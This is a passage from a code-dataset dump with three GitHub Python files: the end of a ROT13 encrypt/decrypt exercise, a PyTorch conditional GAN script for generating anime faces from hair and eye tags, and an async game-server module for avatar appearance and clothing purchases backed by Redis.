symbol\n    :return: None\n    \"\"\"\n    print(\"/===\")\n\n\ndef decrypt(decrypt_mess):\n    \"\"\"\"\n    This function decrypt the message\n\n\n    :param: decrypt_mess\n    :return: decrypted_message\n    \"\"\"\n    decrypted_message = \"\"\n    if decrypt_mess:\n        for char in decrypt_mess:\n            # If Alphabet\n            if 65 <= ord(char) <= 90 or 97 <= ord(char) <= 122:\n                # If Upper\n                if 65 <= ord(char) <= 90:\n                    if ord(char) + 13 > 90:\n                        char = chr(ord(char) + 13 - 90 + 65 - 1)\n                    else:\n                        char = chr(ord(char) + 13)\n                else:\n                    if ord(char) + 13 > 122:\n                        char = chr(ord(char) + 13 - 122 + 97 - 1)\n                    else:\n                        char = chr(ord(char) + 13)\n            decrypted_message += char\n    return decrypted_message\n\n\ndef crypt(encrypt_mess):\n    \"\"\"\"\n    This function encrypt the message\n\n\n    :param: encrypt_mess\n    :return: encrypted_message\n    \"\"\"\n    encrypted_message = \"\"\n    if encrypt_mess:\n        for char in encrypt_mess:\n            # If Alphabet\n            if 65 <= ord(char) <= 90 or 97 <= ord(char) <= 122:\n                # If Upper\n                if 65 <= ord(char) <= 90:\n                    if ord(char) + 13 > 90:\n                        char = chr(ord(char) + 13 - 90 + 65 - 1)\n                    else:\n                        char = chr(ord(char) + 13)\n                else:\n                    if ord(char) + 13 > 122:\n                        char = chr(ord(char) + 13 - 122 + 97 - 1)\n                    else:\n                        char = chr(ord(char) + 13)\n            encrypted_message += char\n    return encrypted_message\n\n\n# ==============================================================================\n# PROCESS\n# ==============================================================================\nif __name__ == '__main__':\n    test()\n","repo_name":"x33lyS/Code-Training","sub_path":"Python/final-py/crypto.py","file_name":"crypto.py","file_ext":"py","file_size_in_byte":4179,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"70678656007","text":"import os\nimport sys \nimport random\nimport argparse\nimport numpy as np \nfrom PIL import Image\n\nimport torch\nimport torch.nn as nn\nimport torch.nn.parallel\nimport torch.backends.cudnn as cudnn\nimport torch.optim as optim\nimport torchvision.datasets as dset\nimport torchvision.transforms as transforms\nimport torchvision.utils as vutils\nfrom torch.autograd import Variable\nfrom torch.utils.data import TensorDataset, DataLoader\n\nfrom tensorboardX import SummaryWriter\n\nwriter = SummaryWriter('all_runs/acgan_runs_test')\nr_writer = SummaryWriter('all_runs/errD_real_runs_test')\nw_writer = SummaryWriter('all_runs/errD_wrong_runs_test')\nf_writer = SummaryWriter('all_runs/errD_fake_runs_test')\n\n\nparser = argparse.ArgumentParser()\nparser.add_argument('-m','--mode',required=True, help='train | test')\nparser.add_argument('-dr','--dataroot', required=True, help='path to dataset')\nparser.add_argument('-w','--workers', type=int, help='number of data loading workers', default=4)\nparser.add_argument('-b','--batchSize', type=int, default=64, help='input batch size')\nparser.add_argument('-z','--nz', type=int, default=128, help='size of the latent z vector')\nparser.add_argument('-c','--nconds',type=int, default=24,help='size of the latent c vector')\nparser.add_argument('--imageSize', type=int, default=64, help='the height / width of the input image to network')\nparser.add_argument('--ngf', type=int, default=64, help='number of filters of generator')\nparser.add_argument('--ndf', type=int, default=64, help='number of filters of discriminator')\nparser.add_argument('--niter', type=int, default=45, help='number of epochs to train for')\nparser.add_argument('--lr', type=float, default=0.0005, help='learning rate')\nparser.add_argument('--beta1', type=float, default=0.5, help='beta for optimizer ')\nparser.add_argument('--cuda', action='store_true', help='enables cuda')\nparser.add_argument('--ngpu', type=int, default=1, help='number of GPUs to use')\nparser.add_argument('--outf', default='./pth', help='folder to output images and model checkpoints')\nparser.add_argument('--manualSeed', type=int, help='manual seed')\nparser.add_argument('--flip',action='store_true', help='flip training images')\n\nparser.add_argument('--testing_file',type=str,default='./test_tags.txt',help='path of testing file')\nparser.add_argument('--demo_file', type=str, default='./demo_tags.txt',help='pth of demo file')\n\nopt = parser.parse_args()\n\n############# Helper Utils #############\n\ndef resize(jpgfile):\n    if jpgfile.size != 64*64*3: \n        jpgfile.resize((64, 64), Image.ANTIALIAS)\n    return jpgfile\n\ndef load_imgs(dirname):\n    img_list = [ os.path.join(dirname, filename) for filename in sorted(os.listdir(dirname), key=lambda img:int(img[0:-4])) ]\n    imgs = [ np.array(resize(Image.open(filename)), dtype=np.float32) for filename in img_list ]\n    for i in imgs:\n        if i.size != 12288:\n            print(i.size)\n    imgs = np.stack(imgs)\n    imgs = imgs / 255.\n    return imgs\n\ndef load_tags(filename):\n    tag_file = open(filename, 'r')\n    tags = []\n    for line in tag_file:\n        words = line.strip().split(',')[1].split()\n        tags.append([' '.join(words[:2]), ' '.join(words[2:4]), ' '.join(words[4:])])\n    tags = np.array(tags)\n    return tags\n\ndef demo_tags(demofilename):\n    tag_file = open(demofilename, 'r')\n    tags = []\n    for line in tag_file:\n        words = line.split()\n        target = [' '.join(words[:2]), ' '.join(words[2:4]), ' '.join(words[4:])]\n    \n    tags = [ target for _ in range(64) ]\n    \n    return tags\n\ndef gen_fake_conds(real_conds, num_style, num_hair, num_eyes):\n    batch_size = real_conds.size(0)\n    style_idx = np.random.randint(num_style, size=(batch_size,))\n    hair_idx = np.random.randint(num_hair, size=(batch_size,)) + num_style\n    eyes_idx = np.random.randint(num_eyes, size=(batch_size,)) + num_style + num_hair\n\n    fake_conds = np.zeros((batch_size, num_style + num_hair + num_eyes), dtype=np.float32)\n\n    for i, (s_i, h_i, e_i) in enumerate(zip(style_idx, hair_idx, eyes_idx)):\n        if real_conds[i][h_i] == 1. and real_conds[i][e_i] == 1. and real_conds[i][s_i] == 1: \n            h_i = (h_i + 1) % num_hair\n        fake_conds[(i,i, i), (s_i, h_i, e_i)] = 1.\n            \n    fake_conds = torch.FloatTensor(fake_conds)\n\n    return fake_conds\n\ndef weights_init(module):\n    classname = module.__class__.__name__\n    if classname.find('Conv') != -1:\n        module.weight.data.normal_(0.0, 0.02)\n    elif classname.find('BatchNorm') != -1: \n        module.weight.data.normal_(1.0, 0.02)\n        module.bias.data.fill_(0)\n\n############# Preparation #############\n\ntry:\n    os.makedirs(opt.outf)\nexcept OSError:\n    pass\n\nif opt.manualSeed is None:\n    opt.manualSeed = random.randint(1, 10000)\nrandom.seed(opt.manualSeed)\ntorch.manual_seed(opt.manualSeed)\nif opt.cuda:\n    torch.cuda.manual_seed_all(opt.manualSeed)\n\ncudnn.benchmark = True\n\nngpu = int(opt.ngpu)\nnz = int(opt.nz)\nngf = int(opt.ngf)\nndf = int(opt.ndf)\nnconds = int(opt.nconds)\n\n############# Data Folder #############\n\nimg_dir = opt.dataroot + 'imgs'\ntag_file = opt.dataroot + 'tags.csv'\nval_tag_file = 'val_tags.txt'\n\n############# Generator Model #############\n\nclass _netG(nn.Module):\n    def __init__(self):\n        super(_netG, self).__init__()\n        self.embedding = nn.Linear(nz+nconds,ngf*8*4*4,bias=False)\n        self.main = nn.Sequential(\n            nn.BatchNorm2d(ngf * 8),\n            nn.ReLU(True),\n            nn.ConvTranspose2d(ngf * 8, ngf * 4, 4, 2, 1, bias=False),\n            nn.BatchNorm2d(ngf * 4),\n            nn.ReLU(True),\n            nn.ConvTranspose2d(ngf * 4, ngf * 2, 4, 2, 1, bias=False),\n            nn.BatchNorm2d(ngf * 2),\n            nn.ReLU(True),\n            nn.ConvTranspose2d(ngf * 2,     ngf, 4, 2, 1, bias=False),\n            nn.BatchNorm2d(ngf),\n            nn.ReLU(True),\n            nn.ConvTranspose2d(    ngf,      3, 4, 2, 1, bias=False),\n            nn.Tanh() \n        )\n    def forward(self, noises, conds):\n        inputs = torch.cat((noises, conds), dim=1)\n        inputs = self.embedding(inputs)\n        inputs = inputs.view(-1, ngf * 8, 4, 4)\n        outputs = self.main(inputs)\n        return outputs\n\n############# Discriminator Model #############\n\nclass _netD(nn.Module):\n    def __init__(self):\n        super(_netD, self).__init__()\n        self.main = nn.Sequential(\n            nn.Conv2d(3, ndf, 4, 2, 1, bias=False),\n            nn.LeakyReLU(0.2, inplace=True),\n            nn.Conv2d(ndf, ndf * 2, 4, 2, 1, bias=False),\n            nn.BatchNorm2d(ndf * 2),\n            nn.LeakyReLU(0.2, inplace=True),\n            nn.Conv2d(ndf * 2, ndf * 4, 4, 2, 1, bias=False),\n            nn.BatchNorm2d(ndf * 4),\n            nn.LeakyReLU(0.2, inplace=True),\n            nn.Conv2d(ndf * 4, ndf * 8, 4, 2, 1, bias=False),\n            nn.BatchNorm2d(ndf * 8)\n        )\n        self.out = nn.Sequential(\n            nn.Conv2d(ndf * 8 + nconds, ndf, 1, 1),\n            nn.LeakyReLU(0.2, inplace=True),\n            nn.Conv2d(ndf, 1, 4, 1),\n            nn.Sigmoid()\n        )\n    def forward(self, imgs, conds):\n        hiddens = self.main(imgs)\n        conds = conds.view(*conds.size(), 1, 1)\n        conds = conds.repeat(1, 1, 4, 4)\n        hiddens = torch.cat((hiddens, conds), dim=1)\n        outputs = self.out(hiddens)\n        outputs = outputs.squeeze()\n        return outputs\n\nnetG = _netG()\nnetG.apply(weights_init)\nprint(netG)\n\nnetD = _netD()\nnetD.apply(weights_init)\nprint(netD)\n\n\n\n\nif opt.mode == 'train':\n\n    imgs = load_imgs(img_dir)\n    tags = load_tags(tag_file)\n\n    imgs = np.concatenate((imgs,np.flip(imgs,axis=0)),axis=0)\n    tags = np.tile(tags,(2,1))\n\n    print('Finished loading training images...')\n    print('Number of training images: ',len(tags))\n\n    imgs = torch.FloatTensor(imgs).permute(0,3,1,2)\n\n    style_dict = {}\n    hair_dict = {}\n    eyes_dict = {}\n    for style_feat in np.unique(tags[:, 0]):\n        style_dict[style_feat] = len(style_dict)\n    for hair_feat in np.unique(tags[:, 1]): \n        hair_dict[hair_feat] = len(hair_dict)\n    for eyes_feat in np.unique(tags[:, 2]): \n        eyes_dict[eyes_feat] = len(eyes_dict)\n\n    num_style = len(style_dict)\n    num_hair = len(hair_dict)\n    num_eyes = len(eyes_dict)\n\n    print(style_dict)\n    print(hair_dict)\n    print(eyes_dict)\n\n    conditions = torch.zeros((imgs.size(0), num_style + num_hair + num_eyes))\n    for i, tag in enumerate(tags):\n        conditions[(i, i, i), (style_dict[tag[0]], hair_dict[tag[1]] + num_style, eyes_dict[tag[2]] + num_style + num_hair)] = 1.\n\n    dataset = TensorDataset(imgs,conditions)\n    dataloader = DataLoader(dataset,\n                            batch_size=opt.batchSize,\n                            shuffle=True,\n                            num_workers=int(opt.workers))\n\n    val_tags = load_tags(val_tag_file)\n    val_conditions = torch.zeros((len(val_tags), num_style + num_hair + num_eyes ))\n    for i, tag in enumerate(val_tags): \n        val_conditions[(i, i, i), (style_dict[tag[0]], hair_dict[tag[1]] + num_style, eyes_dict[tag[2]] + num_style + num_hair)] = 1.\n    val_noise = torch.Tensor(len(val_tags), nz).uniform_(-1.0, 1.0)\n\n\n    if opt.cuda:\n        val_noise = Variable(val_noise).cuda()\n        val_conditions = Variable(val_conditions).cuda()\n        netG = netG.cuda()\n        netD = netD.cuda()\n\n    optimizerD = optim.Adam(netD.parameters(), lr=opt.lr, betas=(opt.beta1, 0.999))\n    optimizerG = optim.Adam(netG.parameters(), lr=opt.lr, betas=(opt.beta1, 0.999))\n\n    criterion = nn.BCELoss()\n    \n    for epoch in range(opt.niter):\n\n        netD.train()\n        netG.train()\n\n        for local_step, (real_x, real_conds) in enumerate(dataloader):\n\n            global_step = epoch*len(dataloader) + local_step\n\n\n            ############################\n            # (1) Update Discriminator #\n            ############################\n\n            optimizerD.zero_grad()\n            real_y = torch.ones((real_x.size(0),))\n            fake_y = torch.zeros((real_x.size(0),))\n            tr_noise = torch.Tensor(real_x.size(0), nz).uniform_(-1.0, 1.0)\n            fake_conds = gen_fake_conds(real_conds, num_style ,num_hair, num_eyes)\n            if opt.cuda:\n                real_x = Variable(real_x).cuda()\n                real_y = Variable(real_y).cuda()\n                fake_y = Variable(fake_y).cuda()\n                tr_noise = Variable(tr_noise).cuda()\n                real_conds = Variable(real_conds).cuda()\n                fake_conds = Variable(fake_conds).cuda()\n            else:\n                real_x = Variable(real_x)\n                real_y = Variable(real_y)\n                fake_y = Variable(fake_y)\n                tr_noise = Variable(tr_noise)\n                real_conds = Variable(real_conds)\n                fake_conds = Variable(fake_conds)\n         \n            # Train with (real image, real tags)\n            output = netD(real_x, real_conds)\n            errD_real = criterion(output, real_y)\n            # Train with (real_image, fake tags)\n            output = netD(real_x, fake_conds)\n            errD_wrong = criterion(output, fake_y)\n            # Train with (fake_image, real tags)\n            gen_x = netG(tr_noise, real_conds)\n            output = netD(gen_x.detach(), real_conds)\n            errD_fake = criterion(output, fake_y)\n            \n            errD = errD_real + errD_wrong + errD_fake\n            errD.backward()\n            optimizerD.step()\n\n            r_writer.add_scalar('errD', errD_real, global_step)\n            w_writer.add_scalar('errD', errD_wrong, global_step)\n            f_writer.add_scalar('errD', errD_fake, global_step)\n\n            #########################\n            # (2) Update Generator  #\n            #########################\n            optimizerG.zero_grad()\n            fake_y.fill_(1.)\n            output = netD(gen_x, real_conds)\n            errG = criterion(output, fake_y)\n            errG.backward()\n            optimizerG.step()\n\n            print('[%d/%d][%d/%d] Loss_D: %.4f Loss_G: %.4f'\n                % (epoch, opt.niter, local_step, len(dataloader),\n                    errD.data, errG.data))\n\n            writer.add_scalar('Loss/D', errD, global_step)\n            writer.add_scalar('Loss/G', errG, global_step)\n\n        val_x = netG(val_noise, val_conditions)\n\n        writer.add_image('conditioned_fake_samples', vutils.make_grid(val_x.data, nrow=8, normalize=True), epoch)\n\n        torch.save(netG.state_dict(), '%s/netG_epoch_%d.pth' % (opt.outf, epoch))\n\n\nif opt.mode == 'test':\n    \n    test_tag_file = opt.testing_file\n    demo_tag_file = opt.demo_file\n\n    style_dict = {'long hair': 0,\n                    'short hair': 1}\n    hair_dict = {'aqua hair': 0, \n                'black hair': 1, \n                'blonde hair': 2, \n                'blue hair': 3, \n                'brown hair': 4, \n                'gray hair': 5, \n                'green hair': 6, \n                'orange hair': 7, \n                'pink hair': 8, \n                'purple hair': 9, \n                'red hair': 10, \n                'white hair': 11}\n    eyes_dict = {'aqua eyes': 0, \n                'black eyes': 1, \n                'blue eyes': 2, \n                'brown eyes': 3, \n                'green eyes': 4, \n                'orange eyes': 5, \n                'pink eyes': 6, \n                'purple eyes': 7, \n                'red eyes': 8, \n                'yellow eyes': 9}\n\n    num_style = len(style_dict)\n    num_eyes = len(eyes_dict)\n    num_hair = len(hair_dict)\n\n    val_tags = load_tags(test_tag_file)\n    # val_tags = demo_tags(demo_tag_file)\n\n    val_conditions = torch.zeros((len(val_tags), num_style + num_hair + num_eyes ))\n    for i, tag in enumerate(val_tags): \n        val_conditions[(i, i, i), (style_dict[tag[0]], hair_dict[tag[1]] + num_style, eyes_dict[tag[2]] + num_style + num_hair)] = 1.\n    val_noise = torch.Tensor(len(val_tags), nz).uniform_(-1.0, 1.0)\n\n    if opt.cuda:\n        val_noise = Variable(val_noise).cuda()\n        val_conditions = Variable(val_conditions).cuda()\n        netG = netG.cuda()\n\n        model_path = 'acgan_netG.pth'\n        netG.load_state_dict(torch.load(model_path))\n\n        val_x = netG(val_noise, val_conditions)\n        vutils.save_image(val_x.data,\n                            'cgan.png',\n                            nrow=8,\n                            normalize=True,\n                            padding=10,\n                            pad_value=1)\n\n    else:\n        val_noise = Variable(val_noise)\n        val_conditions = Variable(val_conditions)\n        netG = netG\n\n        model_path = 'weights/acgan_netG_42.pth'\n        netG.load_state_dict(torch.load(model_path, map_location='cpu'))\n\n        val_x = netG(val_noise, val_conditions)\n        vutils.save_image(val_x.data,\n                            'cgan1.png',\n                            nrow=8,\n                            normalize=True,\n                            padding=10,\n                            pad_value=1)","repo_name":"yangchris11/CSE599G","sub_path":"dl-final-2019a/acgan.py","file_name":"acgan.py","file_ext":"py","file_size_in_byte":14945,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"17593858921","text":"import logging\nfrom modules.base_module import Module\n# from modules.location import refresh_avatar\nfrom inventory import Inventory\nimport const\n\nclass_name = \"Avatar\"\n\n\nclass Avatar(Module):\n    prefix = \"a\"\n\n    def __init__(self, server):\n        self.server = server\n        self.commands = {\"apprnc\": self.appearance, \"clths\": self.clothes}\n        self.clothes_list = server.parser.parse_clothes()\n        self.sets = server.parser.parse_cloth_sets()\n\n    async def appearance(self, msg, client):\n        subcommand = msg[1].split(\".\")[2]\n        if subcommand == \"rnn\":\n            name = msg[2][\"unm\"].strip()\n            if not name:\n                return\n            if len(name) > const.MAX_NAME_LEN:\n                return\n            await self.server.redis.lset(f\"uid:{client.uid}:appearance\",\n                                         0, name)\n            user_data = await self.server.get_user_data(client.uid)\n            await client.send([\"a.apprnc.rnn\",\n                               {\"res\": {\"slvr\": user_data[\"slvr\"],\n                                        \"enrg\": user_data[\"enrg\"],\n                                        \"emd\": user_data[\"emd\"],\n                                        \"gld\": user_data[\"gld\"]},\n                                \"unm\": name}])\n        elif subcommand == \"save\":\n            apprnc = msg[2][\"apprnc\"]\n            current_apprnc = await self.server.get_appearance(client.uid)\n            if not current_apprnc:\n                await self.update_appearance(apprnc, client)\n                self.server.inv[client.uid] = Inventory(self.server,\n                                                        client.uid)\n                await self.server.inv[client.uid]._get_inventory()\n                inv = self.server.inv[client.uid]\n                await self.server.redis.set(f\"uid:{client.uid}:wearing\",\n                                            \"casual\")\n                if apprnc[\"g\"] == 1:\n                    weared = [\"boyShoes8\", \"boyPants10\", \"boyShirt14\"]\n                    available = [\"boyUnderdress1\"]\n                else:\n                    weared = [\"girlShoes14\", \"girlPants9\", \"girlShirt12\"]\n                    available = [\"girlUnderdress1\", \"girlUnderdress2\"]\n                for item in weared+available:\n                    await inv.add_item(item, \"cls\")\n                user_data = await self.server.get_user_data(client.uid)\n                if user_data[\"premium\"]:\n                    for item in const.PREMIUM_BUBBLES:\n                        await inv.add_item(item, \"gm\")\n                if user_data[\"role\"] >= 2:\n                    await inv.add_item(\"moderatorChatBubbleDecor\", \"gm\")\n                for item in weared:\n                    await inv.change_wearing(item, True)\n                for item in const.room_items:\n                    await self.server.modules[\"frn\"].add_item(item,\n                                                              \"livingroom\",\n                                                              client.uid)\n                    for i in range(1, 6):\n                        await self.server.modules[\"frn\"].add_item(item,\n                                                                  f\"room{i}\",\n                                                                  client.uid)\n            else:\n                if apprnc[\"g\"] != current_apprnc[\"g\"]:\n                    logging.info(\"gender doesn't match!\")\n                    return\n                await self.update_appearance(apprnc, client)\n            apprnc = await self.server.get_appearance(client.uid)\n            await client.send([\"a.apprnc.save\", {\"apprnc\": apprnc}])\n\n    async def clothes(self, msg, client):\n        subcommand = msg[1].split(\".\")[2]\n        try:\n            if subcommand == \"wear\":\n                await self.wear_cloth(msg, client)\n            elif subcommand == \"buy\":\n                clothes = [{\"tpid\": msg[2][\"tpid\"], \"clid\": \"\"}]\n                await self.buy_clothes(msg[1], clothes, msg[2][\"ctp\"], client)\n            elif subcommand in [\"bcc\", \"bac\"]:\n                await self.buy_clothes(msg[1], msg[2][\"clths\"], msg[2][\"ctp\"],\n                                       client)\n            elif subcommand == \"bst\":\n                await self.buy_clothes_suit(msg[2][\"tpid\"], msg[2][\"ctp\"],\n                                            client)\n            else:\n                logging.warning(f\"Command {msg[1]} not found\")\n        except KeyError:\n            client.writer.close()\n\n    async def change_ctp(self, uid, new_ctp):\n        ctp = await self.server.redis.get(f\"uid:{uid}:wearing\")\n        if ctp == new_ctp:\n            return\n        await self.server.redis.set(f\"uid:{uid}:wearing\", new_ctp)\n        await self.server.inv[uid]._get_inventory()\n\n    async def wear_cloth(self, msg, client):\n        ctp = msg[2][\"ctp\"]\n        if ctp not in [\"casual\", \"club\", \"official\", \"swimwear\", \"underdress\"]:\n            return\n        user_data = await self.server.get_user_data(client.uid)\n        if ctp != \"casual\" and not user_data[\"premium\"]:\n            await client.send([\"cp.ms.rsm\", {\"txt\": \"Сохренение и покупка \"\n                                                    \"одежды доступна только в \"\n                                                    \"слот 'повседневная'. \"\n                                                    \"Чтобы сохранять и \"\n                                                    \"покупать одежду в других \"\n                                                    \"слотах, оформите \"\n                                                    \"Премиум\"}])\n            return\n        await self.change_ctp(client.uid, ctp)\n        wearing = await self.server.redis.smembers(f\"uid:{client.uid}:{ctp}\")\n        for cloth in wearing:\n            await self.server.inv[client.uid].change_wearing(cloth, False)\n        clths = msg[2][\"clths\"]\n        for cloth in clths:\n            if cloth[\"clid\"]:\n                tmp = f\"{cloth['tpid']}_{cloth['clid']}\"\n            else:\n                tmp = cloth[\"tpid\"]\n            await self.server.inv[client.uid].change_wearing(tmp, True)\n        inv = self.server.inv[client.uid].get()\n        clths = await self.server.get_clothes(client.uid, type_=2)\n        ccltn = await self.server.get_clothes(client.uid, type_=3)\n        await client.send([\"a.clths.wear\", {\"inv\": inv, \"clths\": clths,\n                                            \"ccltn\": ccltn, \"cn\": \"\",\n                                            \"ctp\": ctp}])\n\n    async def buy_clothes(self, command, clothes, ctp, client):\n        items = await self.server.redis.smembers(f\"uid:{client.uid}:items\")\n        if (await self.server.get_appearance(client.uid))[\"g\"] == 1:\n            gender = \"boy\"\n        else:\n            gender = \"girl\"\n        gold = 0\n        silver = 0\n        rating = 0\n        to_buy = []\n        user_data = await self.server.get_user_data(client.uid)\n        for item in clothes:\n            cloth = item[\"tpid\"]\n            clid = item[\"clid\"]\n            if clid:\n                name = f\"{cloth}_{clid}\"\n            else:\n                name = cloth\n            if name in items or cloth in items:\n                continue\n            for category in self.clothes_list[gender]:\n                for item in self.clothes_list[gender][category]:\n                    if item == cloth:\n                        tmp = self.clothes_list[gender][category][item]\n                        if not tmp[\"canBuy\"]:\n                            continue\n                        if tmp[\"vipOnly\"]:\n                            if not user_data[\"premium\"]:\n                                return\n                        gold += tmp[\"gold\"]\n                        silver += tmp[\"silver\"]\n                        rating += tmp[\"rating\"]\n                        if clid:\n                            to_buy.append(name)\n                        else:\n                            to_buy.append(cloth)\n                        break\n        if ctp != \"casual\" and not user_data[\"premium\"]:\n            await client.send([\"cp.ms.rsm\", {\"txt\": \"Сохренение и покупка \"\n                                                    \"одежды доступна только в \"\n                                                    \"слот 'повседневная'. \"\n                                                    \"Чтобы сохранять и \"\n                                                    \"покупать одежду в других \"\n                                                    \"слотах, оформите \"\n                                                    \"Премиум\"}])\n            return\n        if not to_buy or user_data[\"gld\"] < gold or user_data[\"slvr\"] < silver:\n            return\n        pipe = self.server.redis.pipeline()\n        pipe.set(f\"uid:{client.uid}:gld\", user_data[\"gld\"] - gold)\n        pipe.set(f\"uid:{client.uid}:slvr\", user_data[\"slvr\"] - silver)\n        pipe.set(f\"uid:{client.uid}:crt\", user_data[\"crt\"] + rating)\n        await pipe.execute()\n        await self.change_ctp(client.uid, ctp)\n        for cloth in to_buy:\n            await self.server.inv[client.uid].add_item(cloth, \"cls\")\n            await self.server.inv[client.uid].change_wearing(cloth, True)\n        user_data = await self.server.get_user_data(client.uid)\n        inv = self.server.inv[client.uid].get()\n        clths = await self.server.get_clothes(client.uid, type_=2)\n        ccltn = await self.server.get_clothes(client.uid, type_=1)\n        ccltn = ccltn[\"ccltns\"][ctp]\n        await client.send([command, {\"inv\": inv,\n                                     \"res\": {\"gld\": user_data[\"gld\"],\n                                             \"slvr\": user_data[\"slvr\"],\n                                             \"emd\": user_data[\"emd\"],\n                                             \"enrg\": user_data[\"enrg\"]},\n                                     \"clths\": clths, \"ccltn\": ccltn,\n                                     \"crt\": user_data[\"crt\"]}])\n\n    async def buy_clothes_suit(self, tpid, ctp, client):\n        if (await self.server.get_appearance(client.uid))[\"g\"] == 1:\n            gender = \"boy\"\n        else:\n            gender = \"girl\"\n        if tpid not in self.sets[gender]:\n            logging.info(f\"Set {tpid} not found\")\n            return\n        gold = 0\n        silver = 0\n        rating = 0\n        items = await self.server.redis.smembers(f\"uid:{client.uid}:items\")\n        to_buy = []\n        user_data = await self.server.get_user_data(client.uid)\n        for cloth in self.sets[gender][tpid]:\n            if \":\" in cloth:\n                cloth = cloth.replace(\":\", \"_\")\n            if cloth in items:\n                continue\n            category = self.get_category(cloth, gender)\n            if not category:\n                continue\n            attrs = self.clothes_list[gender][category][cloth]\n            if not attrs[\"canBuy\"]:\n                continue\n            if attrs[\"vipOnly\"]:\n                if not user_data[\"premium\"]:\n                    continue\n            gold += attrs[\"gold\"]\n            silver += attrs[\"silver\"]\n            rating += attrs[\"rating\"]\n            to_buy.append(cloth)\n        if ctp != \"casual\" and not (user_data[\"role\"] or user_data[\"premium\"]):\n            await client.send([\"cp.ms.rsm\", {\"txt\": \"Сохренение и покупка \"\n                                                    \"одежды доступна только в \"\n                                                    \"слот 'повседневная'. \"\n                                                    \"Чтобы сохранять и \"\n                                                    \"покупать одежду в других \"\n                                                    \"слотах, оформите \"\n                                                    \"Премиум\"}])\n            return\n        if user_data[\"gld\"] < gold or user_data[\"slvr\"] < silver:\n            return\n        await self.server.redis.set(f\"uid:{client.uid}:gld\",\n                                    user_data[\"gld\"] - gold)\n        await self.server.redis.set(f\"uid:{client.uid}:slvr\",\n                                    user_data[\"slvr\"] - silver)\n        await self.server.redis.set(f\"uid:{client.uid}:crt\",\n                                    user_data[\"crt\"] + rating)\n        if ctp not in [\"casual\", \"club\", \"official\", \"swimwear\", \"underdress\"]:\n            return\n        await self.change_ctp(client.uid, ctp)\n        for cloth in to_buy:\n            await self.server.inv[client.uid].add_item(cloth, \"cls\")\n            await self.server.inv[client.uid].change_wearing(cloth, True)\n        inv = self.server.inv[client.uid].get()\n        clths = await self.server.get_clothes(client.uid, type_=2)\n        ccltn = await self.server.get_clothes(client.uid, type_=1)\n        ccltn = ccltn[\"ccltns\"][ctp]\n        user_data = await self.server.get_user_data(client.uid)\n        await client.send([\"a.clths.buy\", {\"inv\": inv,\n                                           \"res\": {\"slvr\": user_data[\"slvr\"],\n                                                   \"enrg\": user_data[\"enrg\"],\n                                                   \"emd\": user_data[\"emd\"],\n                                                   \"gld\": user_data[\"gld\"]},\n                                           \"clths\": clths, \"ccltn\": ccltn,\n                                           \"crt\": user_data[\"crt\"]}])\n\n    async def update_appearance(self, apprnc, client):\n        old = await self.server.get_appearance(client.uid)\n        if old:\n            nick = old[\"n\"]\n        else:\n            nick = apprnc[\"n\"]\n        redis = self.server.redis\n        await redis.delete(f\"uid:{client.uid}:appearance\")\n        await redis.rpush(f\"uid:{client.uid}:appearance\", nick,\n                          apprnc[\"nct\"], apprnc[\"g\"], apprnc[\"sc\"],\n                          apprnc[\"ht\"], apprnc[\"hc\"], apprnc[\"brt\"],\n                          apprnc[\"brc\"], apprnc[\"et\"], apprnc[\"ec\"],\n                          apprnc[\"fft\"], apprnc[\"fat\"], apprnc[\"fac\"],\n                          apprnc[\"ss\"], apprnc[\"ssc\"], apprnc[\"mt\"],\n                          apprnc[\"mc\"], apprnc[\"sh\"], apprnc[\"shc\"],\n                          apprnc[\"rg\"], apprnc[\"rc\"], apprnc[\"pt\"],\n                          apprnc[\"pc\"], apprnc[\"bt\"], apprnc[\"bc\"])\n\n    async def update_crt(self, uid):\n        redis = self.server.redis\n        clothes = []\n        for tmp in await redis.smembers(f\"uid:{uid}:items\"):\n            if await redis.lindex(f\"uid:{uid}:items:{tmp}\", 0) == \"cls\":\n                if \"_\" in clothes:\n                    clothes.append(tmp.split(\"_\")[0])\n                else:\n                    clothes.append(tmp)\n        appearance = await self.server.get_appearance(uid)\n        if not appearance:\n            return 0\n        gender = \"boy\" if appearance[\"g\"] == 1 else \"girl\"\n        crt = 0\n        for cloth in clothes:\n            for _category in self.clothes_list[gender]:\n                for item in self.clothes_list[gender][_category]:\n                    if item == cloth:\n                        item = self.clothes_list[gender][_category][cloth]\n                        crt += item[\"rating\"]\n                        break\n        await self.server.redis.set(f\"uid:{uid}:crt\", crt)\n        return crt\n\n    def get_category(self, cloth, gender):\n        if \"_\" in cloth:\n            cloth = cloth.split(\"_\")[0]\n        for category in self.clothes_list[gender]:\n            for item in self.clothes_list[gender][category]:\n                if item == cloth:\n                    return category\n        return None\n","repo_name":"AvaCity/avacity-async","sub_path":"modules/avatar.py","file_name":"avatar.py","file_ext":"py","file_size_in_byte":15829,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"16"}
